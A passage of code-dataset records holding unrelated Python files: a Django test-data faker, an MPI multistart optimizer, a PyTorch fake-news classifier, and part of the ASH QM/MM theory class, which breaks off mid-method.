import ProjectFactory\nfrom Technologies.fakers import TechnologyFaker\n\n\nclass ProjectFaker(ProjectFactory):\n title: str = \"Test Project\"\n introduction: str = \"Test Introduction\"\n description: str = \"Test Description\"\n url: str = \"https://www.test.com\"\n repository: str = \"https://www.test.com\"\n\n @post_generation\n def technologies(\n self, create: bool, extracted: list, **kwargs: dict\n ) -> None:\n if not extracted:\n self.technologies.add(TechnologyFaker())\n else:\n [self.technologies.add(technology) for technology in extracted]\n\n @post_generation\n def authors(self, create: bool, extracted: list, **kwargs: dict) -> None:\n if not extracted:\n self.authors.add(AuthorFaker())\n else:\n [self.authors.add(author) for author in extracted]\n\n @post_generation\n def images(self, create: bool, extracted: list, **kwargs: dict) -> None:\n if not extracted:\n self.images.add(ImageFaker())\n else:\n [self.images.add(image) for image in extracted]\n","repo_name":"Alejandroacho/PortfolioBackend","sub_path":"Apps/Projects/fakers.py","file_name":"fakers.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33813696188","text":"from multistart_options import MultistartOptions\nfrom mpi4py import MPI\nfrom datetime import datetime\nimport numpy as np\n\ndef parallel_multistart(calc_fg, method_optimization, multistart_options : MultistartOptions):\n dim = multistart_options.dim\n number_of_start = multistart_options.number_of_start\n lb = multistart_options.l_boundary\n ub = multistart_options.u_boundary\n\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n numprocs = comm.Get_size()\n if(rank == 0):\n t1 = datetime.now()\n \n X_part = np.zeros((number_of_start // numprocs , dim), dtype=np.float64)\n for i in range(number_of_start // numprocs):\n X_part[i] = np.random.uniform(lb, ub)\n\n resultX_part = np.zeros((number_of_start // numprocs, dim))\n resultF_part = np.zeros((number_of_start // numprocs, 1))\n for i in range(len(X_part)):\n xr, fr, nit, ncalls, ccode= method_optimization(calc_fg, X_part[i])\n resultX_part[i] = xr\n resultF_part[i] = fr\n\n index_min = np.argmin(resultF_part)\n res_part = np.zeros((dim + 1), dtype=np.float64)\n res_part[:-1] = resultX_part[index_min][:]\n res_part[-1] = np.float64(resultF_part[index_min])\n status = MPI.Status()\n if(rank == 0):\n results = np.ones((numprocs, dim + 1))\n results[0][:-1] = res_part[:-1]\n results[0][-1] = res_part[-1]\n for k in range(1, numprocs):\n comm.Probe(source=MPI.ANY_SOURCE , tag=MPI.ANY_TAG , status=status) #ловим первый попавшийся send и из \n comm.Recv([results[status.Get_source()], dim + 1, MPI.DOUBLE], source=status.Get_source(), tag=0, status=None)\n else:\n comm.Send([res_part, dim + 1, MPI.DOUBLE], dest=0, tag=0)\n\n if rank == 0:\n index_min = np.argmin(results, axis=0)[-1]\n x_total_min = results[index_min][:-1]\n f_total_min = results[index_min][-1]\n print(f\"Time {datetime.now() - t1}\")\n print(f\"Multistart found a solution to x = {x_total_min} and f = {f_total_min} in {number_of_start} iterations\")","repo_name":"ZvyaginMA/MpiMultistart","sub_path":"parallel_multistart.py","file_name":"parallel_multistart.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25515245160","text":"\"\"\"\n ┏┓ ┏┓ + +\n ┏┛┻━━━━━━┛┻┓ + +\n ┃ ┃\n ┃ ━ ┃ ++ + + +\n ██████━██████ +\n ┃ ┃ +\n ┃ ┻ ┃\n ┃ ┃ + +\n ┗━┓ ┏━┛\n ┃ ┃\n ┃ ┃ + + + +\n ┃ ┃ \n ┃ ┃ +     神兽保佑,loss->0\n ┃ ┃ \n ┃ ┃ +\n ┃ ┗━━━━━┓ + +\n ┃ ┣┓\n ┃ ┏┛\n ┗━┓┓┏━━━━┳┓┏━┛ + + + +\n ┃┫┫ ┃┫┫\n ┗┻┛ ┗┻┛ + + + +\n\n author: abtion\n email: abtion@outlook.com\n \n\"\"\"\nimport torch.nn as nn\nfrom config import FLAGS\nimport torch.nn.functional as F\n\nfrom model.base_models import Highway\n\n\nclass CLF_Model(nn.Module):\n def __init__(self):\n super(CLF_Model, self).__init__()\n # self.high = Highway(2, size=FLAGS.bert_size)\n self.trans_layer = nn.TransformerEncoderLayer(FLAGS.hidden_size, 8)\n self.trans_encoder = nn.TransformerEncoder(self.trans_layer, 1)\n self.linear1 = nn.Linear(FLAGS.bert_size, FLAGS.hidden_size)\n self.linear2 = nn.Linear(FLAGS.hidden_size, 64)\n self.linear3 = nn.Linear(64, 2)\n\n def forward(self, x):\n # x = x.unsqueeze(2)\n # x = self.high(x)\n x = x.squeeze()\n x = self.linear1(x)\n x = F.gelu(x)\n x = x.unsqueeze(0)\n x = self.trans_encoder(x)\n x = self.trans_encoder(x)\n x = x.squeeze()\n x = self.linear2(x)\n x = F.gelu(x)\n x = self.linear3(x)\n return x\n","repo_name":"gitabtion/fake_news_clf","sub_path":"model/clf_model.py","file_name":"clf_model.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"36597076848","text":"import copy\nimport time\nimport numpy as np\nimport math\nimport shutil\n\n#functions related to QM/MM\nimport ash.modules.module_coords\nfrom ash.modules.module_coords import Fragment, write_pdbfile\nfrom ash.functions.functions_general import ashexit, BC,blankline,listdiff,print_time_rel,printdebug,print_line_with_mainheader,writelisttofile,print_if_level\nimport ash.settings_ash\n\n#QM/MM theory object.\n#Required at init: qm_theory and qmatoms. Fragment not. Can come later\n#TODO NOTE: If we add init arguments, remember to update Numfreq QMMM option as it depends on the keywords\nclass QMMMTheory:\n def __init__(self, qm_theory=None, qmatoms=None, fragment=None, mm_theory=None, charges=None,\n embedding=\"Elstat\", printlevel=2, numcores=1, actatoms=None, frozenatoms=None, excludeboundaryatomlist=None,\n unusualboundary=False, openmm_externalforce=False, TruncatedPC=False, TruncPCRadius=55, TruncatedPC_recalc_iter=50,\n qm_charge=None, qm_mult=None):\n module_init_time=time.time()\n timeA=time.time()\n print_line_with_mainheader(\"QM/MM Theory\")\n #print(BC.WARNING,BC.BOLD,\"------------Defining QM/MM object-------------\", BC.END)\n\n #Check for necessary keywords\n if qm_theory is None or qmatoms is None:\n print(\"Error: QMMMTheory requires defining: qm_theory, qmatoms, fragment\")\n ashexit()\n\n #Defining charge/mult of QM-region\n self.qm_charge=qm_charge\n self.qm_mult=qm_mult\n\n #Indicate that this is a hybrid QM/MM type theory\n self.theorytype=\"QM/MM\"\n\n #External force energy. ALways zero except when using openmm_externalforce\n self.extforce_energy=0.0\n\n\n #Linkatoms False by default. Later checked.\n self.linkatoms=False\n\n #Whether we are using OpenMM custom external forces or not\n #NOTE: affects runmode\n self.openmm_externalforce=openmm_externalforce\n\n #Theory level definitions\n self.printlevel=printlevel\n self.qm_theory=qm_theory\n self.qm_theory_name = self.qm_theory.__class__.__name__\n self.mm_theory=mm_theory\n self.mm_theory_name = self.mm_theory.__class__.__name__\n if self.mm_theory_name == \"str\":\n self.mm_theory_name=\"None\"\n\n print(\"QM-theory:\", self.qm_theory_name)\n print(\"MM-theory:\", self.mm_theory_name)\n\n #If fragment object has been defined\n #This probably needs to be always true\n if fragment is not None:\n self.fragment=fragment\n self.coords=fragment.coords\n self.elems=fragment.elems\n self.connectivity=fragment.connectivity\n\n # Region definitions\n self.allatoms=list(range(0,len(self.elems)))\n print(\"All atoms in fragment:\", len(self.allatoms))\n #Sorting qmatoms list\n self.qmatoms = sorted(qmatoms)\n\n if len(self.qmatoms) == 0:\n print(\"Error: List of qmatoms provided is empty. This is not allowed.\")\n ashexit()\n self.mmatoms=listdiff(self.allatoms,self.qmatoms)\n\n # FROZEN AND ACTIVE ATOM REGIONS for NonbondedTheory\n if self.mm_theory_name == \"NonBondedTheory\":\n #NOTE: To be looked at. actatoms and frozenatoms have no meaning in OpenMMTHeory. NonbondedTheory, however.\n if actatoms is None and frozenatoms is None:\n #print(\"Actatoms/frozenatoms list not passed to QM/MM object. Will do all frozen interactions in MM (expensive).\")\n #print(\"All {} atoms active, no atoms frozen in QM/MM definition (may not be frozen in optimizer)\".format(len(self.allatoms)))\n self.actatoms=self.allatoms\n self.frozenatoms=[]\n elif actatoms is not None and frozenatoms is None:\n print(\"Actatoms list passed to QM/MM object. Will skip all frozen interactions in MM.\")\n #Sorting actatoms list\n self.actatoms = sorted(actatoms)\n self.frozenatoms = listdiff(self.allatoms, self.actatoms)\n print(\"{} active atoms, {} frozen atoms\".format(len(self.actatoms), len(self.frozenatoms)))\n elif frozenatoms is not None and actatoms is None:\n print(\"Frozenatoms list passed to QM/MM object. Will skip all frozen interactions in MM.\")\n self.frozenatoms = sorted(frozenatoms)\n self.actatoms = listdiff(self.allatoms, self.frozenatoms)\n print(\"{} active atoms, {} frozen atoms\".format(len(self.actatoms), len(self.frozenatoms)))\n else:\n print(\"active_atoms and frozen_atoms can not be both defined\")\n ashexit()\n \n #print(\"List of all atoms:\", self.allatoms)\n print(\"QM region ({} atoms): {}\".format(len(self.qmatoms),self.qmatoms))\n print(\"MM region ({} atoms)\".format(len(self.mmatoms)))\n #print_time_rel(timeA, modulename=\"Region setup\")\n timeA=time.time()\n #print(\"MM region\", self.mmatoms)\n blankline()\n\n #TO delete\n #List of QM and MM labels\n #self.hybridatomlabels=[]\n #for i in self.allatoms:\n # if i in self.qmatoms:\n # self.hybridatomlabels.append('QM')\n # elif i in self.mmatoms:\n # self.hybridatomlabels.append('MM')\n else:\n print(\"fragment= keyword has not been defined for QM/MM. Exiting\")\n ashexit()\n\n #Setting QM/MM qmatoms in QMtheory also (used for Spin-flipping currently)\n self.qm_theory.qmatoms=self.qmatoms\n\n \n #Setting numcores of object.\n #This will be when calling QMtheory and probably MMtheory\n \n #numcores-setting in QMMMTheory takes precedent\n if numcores != 1:\n self.numcores=numcores\n #If QMtheory numcores was set (and QMMMTHeory not)\n elif self.qm_theory.numcores != 1:\n self.numcores=self.qm_theory.numcores\n #Default 1 proc\n else:\n self.numcores=1\n print(\"QM/MM object selected to use {} cores\".format(self.numcores))\n\n #Embedding type: mechanical, electrostatic etc.\n self.embedding=embedding\n print(\"Embedding:\", self.embedding)\n\n #if atomcharges are not passed to QMMMTheory object, get them from MMtheory (that should have been defined then)\n if charges is None:\n print(\"No atomcharges list passed to QMMMTheory object\")\n self.charges=[]\n if self.mm_theory_name == \"OpenMMTheory\":\n print(\"Getting system charges from OpenMM object\")\n #Todo: Call getatomcharges directly or should that have been called from within openmm object at init ?\n #self.charges = mm_theory.getatomcharges()\n self.charges = mm_theory.charges\n elif self.mm_theory_name == \"NonBondedTheory\":\n print(\"Getting system charges from NonBondedTheory object\")\n #Todo: normalize charges vs atom_charges\n self.charges=mm_theory.atom_charges\n \n else:\n print(\"Unrecognized MM theory for QMMMTheory\")\n ashexit()\n else:\n print(\"Reading in charges\")\n if len(charges) != len(fragment.atomlist):\n print(BC.FAIL,\"Number of charges not matching number of fragment atoms. Exiting.\",BC.END)\n ashexit()\n self.charges=charges\n \n if len(self.charges) == 0:\n print(\"No charges present in QM/MM object. Exiting...\")\n ashexit()\n \n\n #Flag to check whether QMCharges have been zeroed in self.charges_qmregionzeroed list\n self.QMChargesZeroed=False\n\n #CHARGES DEFINED FOR OBJECT:\n #Self.charges are original charges that are defined above (on input, from OpenMM or from NonBondedTheory)\n #self.charges_qmregionzeroed is self.charges but with 0-value for QM-atoms\n #self.pointcharges are pointcharges that the QM-code will see (dipole-charges, no zero-valued charges etc)\n #Length of self.charges: system size\n #Length of self.charges_qmregionzeroed: system size\n #Length of self.pointcharges: unknown. does not contain zero-valued charges (e.g. QM-atoms etc.), contains dipole-charges \n \n #self.charges_qmregionzeroed will have QM-charges zeroed (but not removed)\n self.charges_qmregionzeroed = []\n \n #Self.pointcharges are pointcharges that the QM-program will see (but not the MM program)\n # They have QM-atoms zeroed, zero-charges removed, dipole-charges added etc.\n #Defined later\n self.pointcharges = []\n\n #Truncated PC-region option \n self.TruncatedPC=TruncatedPC\n self.TruncPCRadius=TruncPCRadius\n self.TruncatedPCcalls=0\n self.TruncatedPC_recalc_flag=False\n self.TruncatedPC_recalc_iter=TruncatedPC_recalc_iter\n\n if self.TruncatedPC is True:\n print(\"Truncated PC approximation in QM/MM is active.\")\n print(\"TruncPCRadius:\", self.TruncPCRadius)\n print(\"TruncPC Recalculation iteration:\", self.TruncatedPC_recalc_iter)\n\n #If MM THEORY (not just pointcharges)\n if mm_theory is not None:\n\n #Sanity check. Same number of atoms in fragment and MM object ?\n if fragment.numatoms != mm_theory.numatoms:\n print(\"\")\n print(BC.FAIL,\"Number of atoms in fragment ({}) and MMtheory object differ ({})\".format(fragment.numatoms,mm_theory.numatoms),BC.END)\n print(BC.FAIL,\"This does not make sense. Check coordinates and forcefield files. Exiting...\", BC.END)\n ashexit()\n\n #Add possible exception for QM-QM atoms here.\n #Maybe easier to just just set charges to 0. LJ for QM-QM still needs to be done by MM code\n #if self.mm_theory_name == \"OpenMMTheory\":\n # \n #print(\"Now adding exceptions for frozen atoms\")\n #if len(self.frozenatoms) > 0:\n # print(\"Here adding exceptions for OpenMM\")\n # print(\"Frozen-atom exceptions currently inactive...\")\n #print(\"Num frozen atoms: \", len(self.frozenatoms))\n #Disabling for now, since so bloody slow. Need to speed up\n #mm_theory.addexceptions(self.frozenatoms)\n\n\n #Check if we need linkatoms by getting boundary atoms dict:\n\n #Update: Tolerance modification to make sure we definitely catch connected atoms and get QM-MM boundary right.\n #Scale=1.0 and tol=0.1 fails for S-C bond in rubredoxin from a classical MD run\n #Bumping up a bit here\n conn_scale=ash.settings_ash.settings_dict[\"scale\"]\n conn_tolerance=ash.settings_ash.settings_dict[\"tol\"]+0.1\n\n\n #If QM-MM boundary issue and ASH exits then printing QM-coordinates is useful\n print(\"QM-region coordinates (before linkatoms):\")\n ash.modules.module_coords.print_coords_for_atoms(self.coords, self.elems, self.qmatoms, labels=self.qmatoms)\n print()\n\n self.boundaryatoms = ash.modules.module_coords.get_boundary_atoms(self.qmatoms, self.coords, self.elems, conn_scale, \n conn_tolerance, excludeboundaryatomlist=excludeboundaryatomlist, unusualboundary=unusualboundary)\n if len(self.boundaryatoms) >0:\n print(\"Found covalent QM-MM boundary. Linkatoms option set to True\")\n print(\"Boundaryatoms (QM:MM pairs):\", self.boundaryatoms)\n print(\"Note: used connectivity settings, scale={} and tol={} to determine boundary.\".format(conn_scale,conn_tolerance))\n self.linkatoms=True\n #Get MM boundary information. Stored as self.MMboundarydict\n self.get_MMboundary(conn_scale,conn_tolerance)\n else:\n print(\"No covalent QM-MM boundary. Linkatoms option set to False\")\n self.linkatoms=False\n \n #Removing possible QM atom constraints in OpenMMTheory\n #Will only apply when running OpenMM_Opt or OpenMM_MD\n if self.mm_theory_name == \"OpenMMTheory\":\n self.mm_theory.remove_constraints_for_atoms(self.qmatoms)\n\n #Remove bonded interactions in MM part. Only in OpenMM. Assuming they were never defined in NonbondedTHeory\n print(\"Removing bonded terms for QM-region in MMtheory\")\n self.mm_theory.modify_bonded_forces(self.qmatoms)\n\n #NOTE: Temporary. Adding exceptions for nonbonded QM atoms. Will ignore QM-QM Coulomb and LJ interactions. \n #NOTE: For QM-MM interactions Coulomb charges are zeroed below (update_charges and delete_exceptions)\n print(\"Removing nonbonded terms for QM-region in MMtheory (QM-QM interactions)\")\n self.mm_theory.addexceptions(self.qmatoms)\n \n ########################\n #CHANGE CHARGES\n ########################\n # Keeping self.charges as originally defined.\n #Setting QM charges to 0 since electrostatic embedding\n #and Charge-shift QM-MM boundary\n \n #Zero QM charges for electrostatic embedding\n #TODO: DO here or inside run instead?? Needed for MM code.\n if self.embedding==\"Elstat\":\n print(\"Charges of QM atoms set to 0 (since Electrostatic Embedding):\")\n self.ZeroQMCharges() #Modifies self.charges_qmregionzeroed\n #print(\"length of self.charges_qmregionzeroed :\", len(self.charges_qmregionzeroed))\n #TODO: make sure this works for OpenMM and for NonBondedTheory\n # Updating charges in MM object. \n self.mm_theory.update_charges(self.qmatoms,[0.0 for i in self.qmatoms])\n\n if self.mm_theory_name == \"OpenMMTheory\":\n #Deleting Coulomb exception interactions involving QM and MM atoms\n self.mm_theory.delete_exceptions(self.qmatoms)\n #Option to create OpenMM externalforce that handles full system\n if self.openmm_externalforce == True:\n print(\"openmm_externalforce is True\")\n #print(\"Creating new OpenMM custom external force\")\n #MOVED FROM HERE TO OPENMM_MD\n\n #Printing charges: all or only QM\n if self.printlevel > 2:\n for i in self.allatoms:\n if i in self.qmatoms:\n if self.embedding==\"Elstat\":\n print(\"QM atom {} ({}) charge: {}\".format(i, self.elems[i], self.charges_qmregionzeroed[i]))\n else:\n print(\"QM atom {} ({}) charge: {}\".format(i, self.elems[i], self.charges[i]))\n else:\n if self.printlevel > 3:\n print(\"MM atom {} ({}) charge: {}\".format(i, self.elems[i], self.charges_qmregionzeroed[i]))\n blankline()\n else:\n #Case: No actual MM theory but we still want to zero charges for QM elstate embedding calculation\n #TODO: Remove option for no MM theory or keep this ??\n if self.embedding==\"Elstat\":\n self.ZeroQMCharges() #Modifies self.charges_qmregionzeroed\n print_time_rel(module_init_time, modulename='QM/MM object creation', moduleindex=2)\n \n \n #From QM1:MM1 boundary dict, get MM1:MMx boundary dict (atoms connected to MM1)\n def get_MMboundary(self,scale,tol):\n timeA=time.time()\n # if boundarydict is not empty we need to zero MM1 charge and distribute charge from MM1 atom to MM2,MM3,MM4\n #Creating dictionary for each MM1 atom and its connected atoms: MM2-4\n self.MMboundarydict={}\n for (QM1atom,MM1atom) in self.boundaryatoms.items():\n connatoms = ash.modules.module_coords.get_connected_atoms(self.coords, self.elems, scale,tol, MM1atom)\n #Deleting QM-atom from connatoms list\n connatoms.remove(QM1atom)\n self.MMboundarydict[MM1atom] = connatoms\n print(\"\")\n print(\"MM boundary (MM1:MMx pairs):\", self.MMboundarydict)\n print_time_rel(timeA, modulename=\"get_MMboundary\")\n # Set QMcharges to Zero and shift charges at boundary\n #TODO: Add both L2 scheme (delete whole charge-group of M1) and charge-shifting scheme (shift charges to Mx atoms and add dipoles for each Mx atom)\n \n def ZeroQMCharges(self):\n timeA=time.time()\n print(\"Setting QM charges to Zero\")\n #Looping over charges and setting QM atoms to zero\n #1. Copy charges to charges_qmregionzeroed\n self.charges_qmregionzeroed=copy.copy(self.charges)\n #2. change charge for QM-atom\n for i, c in enumerate(self.charges_qmregionzeroed):\n #Setting QMatom charge to 0\n if i in self.qmatoms:\n self.charges_qmregionzeroed[i] = 0.0\n #3. Flag that this has been done\n self.QMChargesZeroed = True\n print_time_rel(timeA, modulename=\"ZeroQMCharges\")\n def ShiftMMCharges(self):\n timeA=time.time()\n if self.printlevel > 1:\n print(\"Shifting MM charges at QM-MM boundary.\")\n #print(\"len self.charges_qmregionzeroed: \", len(self.charges_qmregionzeroed))\n #print(\"len self.charges: \", len(self.charges))\n \n #Create self.pointcharges list\n self.pointcharges=copy.copy(self.charges_qmregionzeroed)\n \n #Looping over charges and setting QM/MM1 atoms to zero and shifting charge to neighbouring atoms\n for i, c in enumerate(self.pointcharges):\n\n #If index corresponds to MMatom at boundary, set charge to 0 (charge-shifting\n if i in self.MMboundarydict.keys():\n MM1charge = self.charges[i]\n #print(\"MM1atom charge: \", MM1charge)\n self.pointcharges[i] = 0.0\n #MM1 charge fraction to be divided onto the other MM atoms\n MM1charge_fract = MM1charge / len(self.MMboundarydict[i])\n #print(\"MM1charge_fract :\", MM1charge_fract)\n\n #Putting the fractional charge on each MM2 atom\n for MMx in self.MMboundarydict[i]:\n #print(\"MMx : \", MMx)\n #print(\"Old charge : \", self.charges_qmregionzeroed[MMx])\n self.pointcharges[MMx] += MM1charge_fract\n #print(\"New charge : \", self.charges_qmregionzeroed[MMx])\n #exit()\n #print_time_rel(timeA, modulename=\"ShiftMMCharges\", currprintlevel=self.printlevel, currthreshold=1)\n #Create dipole charge (twice) for each MM2 atom that gets fraction of MM1 charge\n def get_dipole_charge(self,delq,direction,mm1index,mm2index):\n #timeA=time.time()\n #Distance between MM1 and MM2\n MM_distance = ash.modules.module_coords.distance_between_atoms(fragment=self.fragment, atom1=mm1index, atom2=mm2index)\n #Coordinates\n mm1coords=np.array(self.fragment.coords[mm1index])\n mm2coords=np.array(self.fragment.coords[mm2index])\n \n SHIFT=0.15\n #Normalize vector\n def vnorm(p1):\n r = math.sqrt((p1[0]*p1[0])+(p1[1]*p1[1])+(p1[2]*p1[2]))\n v1=np.array([p1[0] / r, p1[1] / r, p1[2] /r])\n return v1\n diffvector=mm2coords-mm1coords\n normdiffvector=vnorm(diffvector)\n \n #Dipole\n d = delq*2.5\n #Charge (abs value)\n q0 = 0.5 * d / SHIFT\n #print(\"q0 : \", q0)\n #Actual shift\n #print(\"direction : \", direction)\n shift = direction * SHIFT * ( MM_distance / 2.5 )\n #print(\"shift : \", shift)\n #Position\n #print(\"normdiffvector :\", normdiffvector)\n #print(normdiffvector*shift)\n pos = mm2coords+np.array((shift*normdiffvector))\n #print(\"pos :\", pos)\n #Returning charge with sign based on direction and position\n #Return coords as regular list\n #print_time_rel(timeA, modulename=\"get_dipole_charge\")\n return -q0*direction,list(pos)\n def SetDipoleCharges(self):\n timeA=time.time()\n if self.printlevel > 1:\n print(\"Adding extra charges to preserve dipole moment for charge-shifting\")\n #Adding 2 dipole pointcharges for each MM2 atom\n self.dipole_charges = []\n self.dipole_coords = []\n for MM1,MMx in self.MMboundarydict.items():\n #Getting original MM1 charge (before set to 0)\n MM1charge = self.charges[MM1]\n MM1charge_fract=MM1charge/len(MMx)\n \n for MM in MMx:\n q_d1, pos_d1 = self.get_dipole_charge(MM1charge_fract,1,MM1,MM)\n q_d2, pos_d2 = self.get_dipole_charge(MM1charge_fract,-1,MM1,MM)\n self.dipole_charges.append(q_d1)\n self.dipole_charges.append(q_d2)\n self.dipole_coords.append(pos_d1)\n self.dipole_coords.append(pos_d2)\n #print_time_rel(timeA, modulename=\"SetDipoleCharges\", currprintlevel=self.printlevel, currthreshold=1)\n\n #More efficient version than previous loop\n def make_QM_PC_gradient(self):\n self.QM_PC_gradient = np.zeros((len(self.allatoms), 3))\n qmatom_indices = np.where(np.isin(self.allatoms, self.qmatoms))[0]\n pcatom_indices = np.where(~np.isin(self.allatoms, self.qmatoms))[0] # ~ is NOT operator in numpy\n self.QM_PC_gradient[qmatom_indices] = self.QMgradient_wo_linkatoms[:len(qmatom_indices)]\n self.QM_PC_gradient[pcatom_indices] = self.PCgradient[:len(pcatom_indices)]\n return\n\n #TruncatedPCfunction control flow for pointcharge field passed to QM program\n def TruncatedPCfunction(self):\n self.TruncatedPCcalls+=1\n print(\"TruncatedPC approximation!\")\n if self.TruncatedPCcalls == 1:\n self.TruncatedPC_recalc_flag=True\n print(\"This is first QM/MM run. Will calculate Full-Trunc correction in this step\")\n #Origin coords point is center of QM-region\n origincoords=ash.modules.module_coords.get_centroid(self.qmcoords)\n #Determine the indices associated with the truncated PC field once\n self.determine_truncatedPC_indices(origincoords)\n print(\"Truncated PC-region size: {} charges\".format(len(self.truncated_PC_region_indices)))\n\n #Saving full PCs and coords for 1st iteration\n self.pointcharges_full=copy.copy(self.pointcharges)\n self.pointchargecoords_full=copy.copy(self.pointchargecoords)\n\n #Determining truncated PC-field\n self.pointcharges=[self.pointcharges[i] for i in self.truncated_PC_region_indices]\n self.pointchargecoords=np.take(self.pointchargecoords, self.truncated_PC_region_indices, axis=0)\n\n elif self.TruncatedPCcalls % self.TruncatedPC_recalc_iter == 0:\n self.TruncatedPC_recalc_flag=True\n print(f\"This is QM/MM run no. {self.TruncatedPCcalls}. Will calculate Full-Trunc correction in this step\")\n print(\"self.TruncatedPC_recalc_iter:\", self.TruncatedPC_recalc_iter)\n\n origincoords=ash.modules.module_coords.get_centroid(self.qmcoords)\n #Determine the indices associated with the truncated PC field once\n self.determine_truncatedPC_indices(origincoords)\n print(\"Truncated PC-region size: {} charges\".format(len(self.truncated_PC_region_indices)))\n\n #Saving full PCs and coords for 1st iteration\n self.pointcharges_full=copy.copy(self.pointcharges)\n self.pointchargecoords_full=copy.copy(self.pointchargecoords)\n\n #Determining truncated PC-field\n self.pointcharges=[self.pointcharges[i] for i in self.truncated_PC_region_indices]\n self.pointchargecoords=np.take(self.pointchargecoords, self.truncated_PC_region_indices, axis=0)\n else:\n self.TruncatedPC_recalc_flag=False\n print(\"This is QM/MM run no. {}. Using approximate truncated PC field: {} charges\".format(self.TruncatedPCcalls,len(self.truncated_PC_region_indices)))\n self.pointcharges=[self.pointcharges[i] for i in self.truncated_PC_region_indices]\n self.pointchargecoords=np.take(self.pointchargecoords, self.truncated_PC_region_indices, axis=0)\n\n #Determine truncated PC field indices based on initial coordinates\n #Coordinates and charges for each Opt cycle defined later.\n def determine_truncatedPC_indices(self,origincoords):\n region_indices=[]\n for index,allc in enumerate(self.pointchargecoords):\n dist=ash.modules.module_coords.distance(origincoords,allc)\n if dist < self.TruncPCRadius:\n region_indices.append(index)\n #Only unique and sorting:\n self.truncated_PC_region_indices = np.unique(region_indices).tolist()\n #Removing dipole charges also (end of list)\n #NOTE:\n #num_dipole_charges=len(self.dipole_charges)\n #self.truncated_PC_region_indices = self.truncated_PC_region_indices[0:-num_dipole_charges]\n\n def oldcalculate_truncPC_gradient_correction(self,QMgradient_full, PCgradient_full, QMgradient_trunc, PCgradient_trunc):\n #Correction for QM-atom gradient\n self.original_QMcorrection_gradient=np.zeros((len(QMgradient_full)-self.num_linkatoms, 3))\n #Correction for PC gradient\n self.original_PCcorrection_gradient=np.zeros((len(PCgradient_full), 3))\n\n for i in range(0,len(QMgradient_full)-self.num_linkatoms):\n #print(\"QM index:\", i)\n qmfullgrad=QMgradient_full[i]\n qmtruncgrad=QMgradient_trunc[i]\n #print(\"qmfullgrad:\", qmfullgrad)\n #print(\"qmtruncgrad:\", qmtruncgrad)\n qmdifference=qmfullgrad-qmtruncgrad\n #print(\"qmdifference:\", qmdifference)\n self.original_QMcorrection_gradient[i] = qmdifference\n count=0\n for i in range(0,len(PCgradient_full)):\n if i in self.truncated_PC_region_indices:\n #print(\"TruncPC index:\", i)\n pcfullgrad=PCgradient_full[i]\n pctruncgrad=PCgradient_trunc[count]\n #print(\"pcfullgrad:\", pcfullgrad)\n #print(\"pctruncgrad:\", pctruncgrad)\n difference=pcfullgrad-pctruncgrad\n #print(\"difference:\", difference)\n self.original_PCcorrection_gradient[i] = difference\n count+=1\n else:\n # Keep original full contribution\n self.original_PCcorrection_gradient[i] = PCgradient_full[i]\n return\n #New more efficient version\n def calculate_truncPC_gradient_correction(self, QMgradient_full, PCgradient_full, QMgradient_trunc, PCgradient_trunc):\n #QM part\n qm_difference = QMgradient_full[:len(QMgradient_full)-self.num_linkatoms] - QMgradient_trunc[:len(QMgradient_full)-self.num_linkatoms]\n self.original_QMcorrection_gradient = qm_difference\n #PC part\n truncated_indices = np.array(self.truncated_PC_region_indices)\n pc_difference = np.zeros((len(PCgradient_full), 3))\n pc_difference[truncated_indices] = PCgradient_full[truncated_indices] - PCgradient_trunc\n pc_difference[~np.isin(np.arange(len(PCgradient_full)), truncated_indices)] = PCgradient_full[~np.isin(np.arange(len(PCgradient_full)), truncated_indices)]\n self.original_PCcorrection_gradient = pc_difference\n return\n\n #This updates the calculated truncated PC gradient to be full-system gradient\n #by combining with the original 1st step correction\n def oldTruncatedPCgradientupdate(self,QMgradient_wo_linkatoms,PCgradient):\n\n #QM part\n newQMgradient_wo_linkatoms = QMgradient_wo_linkatoms + self.original_QMcorrection_gradient\n #PC part\n new_full_PC_gradient=np.zeros((len(self.original_PCcorrection_gradient), 3))\n count=0\n for i in range(0,len(new_full_PC_gradient)):\n if i in self.truncated_PC_region_indices:\n #Now updating with gradient from active region\n new_full_PC_gradient[i] = self.original_PCcorrection_gradient[i] + PCgradient[count]\n count+=1\n else:\n new_full_PC_gradient[i] = self.original_PCcorrection_gradient[i]\n return newQMgradient_wo_linkatoms, new_full_PC_gradient\n\n def TruncatedPCgradientupdate(self, QMgradient_wo_linkatoms, PCgradient):\n newQMgradient_wo_linkatoms = QMgradient_wo_linkatoms + self.original_QMcorrection_gradient\n \n new_full_PC_gradient = np.copy(self.original_PCcorrection_gradient)\n new_full_PC_gradient[self.truncated_PC_region_indices] += PCgradient\n \n return newQMgradient_wo_linkatoms, new_full_PC_gradient\n\n def set_numcores(self,numcores):\n print(f\"Setting new numcores {numcores}for QMtheory and MMtheory\")\n self.qm_theory.set_numcores(numcores)\n self.mm_theory.set_numcores(numcores)\n #General run\n def run(self, current_coords=None, elems=None, Grad=False, numcores=1, exit_after_customexternalforce_update=False, label=None, charge=None, mult=None):\n\n if self.embedding == \"Mechanical\":\n return self.mech_run(current_coords=current_coords, elems=elems, Grad=Grad, numcores=numcores, exit_after_customexternalforce_update=exit_after_customexternalforce_update,\n label=label, charge=charge, mult=mult)\n elif self.embedding == \"Elstat\":\n return self.elstat_run(current_coords=current_coords, elems=elems, Grad=Grad, numcores=numcores, exit_after_customexternalforce_update=exit_after_customexternalforce_update,\n label=label, charge=charge, mult=mult)\n else:\n print(\"Unknown embedding. Exiting\")\n ashexit()\n\n #Mechanical embedding run\n def mech_run(self, current_coords=None, elems=None, Grad=False, numcores=1, exit_after_customexternalforce_update=False, label=None, charge=None, mult=None):\n print(\"Mechanical embedding not ready yet\")\n #Since elstat-run is so complicated it is easier to just write new mechanical run\n #mechanical embedding may also come with its own complexities\n #NOTE: We should also reduce complexity of elstat-run by moving code into methods\n ashexit()\n #Electrostatic embedding run\n def elstat_run(self, current_coords=None, elems=None, Grad=False, numcores=1, exit_after_customexternalforce_update=False, label=None, charge=None, mult=None):\n module_init_time=time.time()\n CheckpointTime = time.time()\n if self.printlevel >= 2:\n print(BC.WARNING, BC.BOLD, 